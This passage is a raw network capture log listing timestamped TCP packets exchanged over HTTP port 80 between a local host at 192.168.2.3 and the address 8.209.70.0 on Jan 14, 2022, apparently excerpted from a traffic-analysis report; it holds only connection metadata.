Jan 14, 2022 20:23:10.448971987 CET	80	49782	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:10.449939966 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.452709913 CET	49782	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:10.469860077 CET	80	49782	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.017544985 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.034887075 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.035011053 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.035109997 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.092797041 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137501955 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137558937 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137598991 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137624979 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.137639046 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137680054 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137696028 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.137717009 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137758017 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137769938 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.137799025 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137835979 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137865067 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.137912035 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.137964010 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.155365944 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176774025 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176814079 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176836967 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176846027 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.176860094 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176882029 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176883936 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.176903963 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176918030 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.176928043 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176949978 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176970959 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.176973104 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.176996946 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177015066 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.177018881 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177042007 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177052975 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.177063942 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177087069 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177098036 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.177109957 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177130938 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177145004 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.177153111 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177175999 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177189112 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.177197933 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.177237034 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.194490910 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.194520950 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.194536924 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.194577932 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216216087 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216243029 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216259003 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216278076 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216295004 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216298103 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216314077 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216331959 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216336966 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216350079 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216367006 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216381073 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216383934 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216401100 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216407061 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216418028 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216434956 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216453075 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216453075 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216470003 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216479063 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216487885 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216505051 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216512918 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216521978 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216538906 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216556072 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216557980 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216577053 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216582060 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216595888 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216613054 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216629028 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216634989 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216645956 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216654062 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216662884 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216680050 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216691017 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216696978 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216713905 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216731071 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216734886 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216747999 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216766119 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216773033 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216784954 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216792107 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216803074 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216819048 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216826916 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216835976 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216852903 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216861963 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.216870070 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.216911077 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.234188080 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234219074 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234236002 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234251976 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234268904 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234272003 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.234282970 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.234297991 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.234327078 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255614996 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255661964 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255687952 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255716085 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255733967 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255745888 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255768061 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255773067 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255801916 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255803108 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255830050 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255847931 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255856991 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255884886 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255898952 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255912066 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255939960 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255953074 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.255969048 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.255995035 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256009102 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256022930 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256051064 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256062984 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256078005 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256107092 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256118059 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256134987 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256161928 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256175995 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256191015 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256218910 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256230116 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256246090 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256274939 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256287098 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256300926 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256328106 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256344080 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256356001 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256381989 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256393909 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256411076 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256438017 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256452084 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256465912 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256491899 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256504059 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256517887 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256545067 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256556988 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256572962 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256599903 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256612062 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256628036 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256654024 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256668091 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256681919 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256710052 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256721973 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256737947 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256766081 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256777048 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256792068 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256820917 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256833076 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256850004 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256876945 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256891012 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256903887 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256932020 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256943941 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.256956100 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.256998062 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274336100 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274405956 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274445057 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274481058 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274485111 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274524927 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274537086 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274564981 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274604082 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274607897 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274642944 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274682045 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274694920 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274723053 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274763107 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274780035 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274802923 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274842024 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274847984 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274878979 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274918079 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274930000 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.274956942 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.274996996 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275002956 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275037050 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275074005 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275084972 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275113106 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275152922 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275158882 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275192976 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275233030 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275243998 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275271893 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275312901 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275317907 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275352955 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275389910 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275401115 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275429964 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275469065 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275475979 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275506973 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275547981 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275552988 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275585890 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275625944 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275638103 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275665998 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275703907 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275712013 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275744915 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275787115 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275791883 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.275824070 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275854111 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.275868893 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.294795036 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.294857979 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.294877052 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.294898987 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.294940948 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.294945955 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.294980049 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295020103 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295025110 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295058012 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295108080 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295121908 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295149088 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295187950 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295191050 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295226097 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295265913 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295269012 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295304060 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295342922 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295350075 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295382977 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295420885 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295424938 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295459032 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295499086 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295504093 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295535088 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295574903 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295586109 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295614004 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295654058 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295660019 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295695066 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295732975 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295747042 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295773983 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295813084 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295816898 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295850039 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295890093 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295892954 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.295928955 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295969009 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.295981884 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296008110 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296046972 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296047926 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296086073 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296124935 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296145916 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296163082 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296201944 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296209097 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296241045 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296279907 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296287060 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296320915 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296358109 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296364069 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296396971 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296436071 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296441078 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296473980 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296513081 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296516895 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296550989 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296591043 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296593904 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296631098 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296669006 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296673059 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.296706915 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.296751976 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314016104 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314078093 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314116955 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314141035 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314157009 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314197063 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314199924 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314235926 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314276934 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314279079 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314313889 CET	80	49783	8.209.70.0	192.168.2.3
